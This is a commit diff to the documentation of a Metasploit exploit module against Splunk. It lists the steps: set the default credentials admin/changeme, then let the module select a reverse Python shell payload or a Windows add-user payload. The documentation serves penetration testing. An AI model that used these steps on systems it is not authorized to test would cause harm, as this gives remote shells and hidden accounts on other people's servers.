Update splunk_upload_app_exec.md

documentation/modules/exploit/multi/http/splunk_upload_app_exec.md

@@ -20,14 +20,10 @@ Version 7.2.4 has been tested successfully against OSX as well.
   6. Do: ```SET USERNAME admin```
   7. Do: ```SET PASSWORD changeme```
   
-  8. If targeting linux or macos set proper payload
-   * ```SET TARGET [1|3]```
-   * ```set payload cmd/unix/reverse_python```
-   
-     If targeting windows set proper payload
-   * ```SET TARGET 2```
-   * ```set payload cmd/windows/adduser```
-  9. You should get a reverse shell on port 4444 via the predefined handler.
+  8. (7.2.4 only) If targeting linux or macos the payload ```cmd/unix/reverse_python``` will be automatically selected.
+     If targeting windows the payload ```cmd/windows/adduser``` will be automatically selected.
+
+  9. You should get either a reverse shell on port 4444 via the predefined handler (linux/osx) or a new user in case (windows target)
 
 ## External Demo
 * [First PoC](http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html) <br>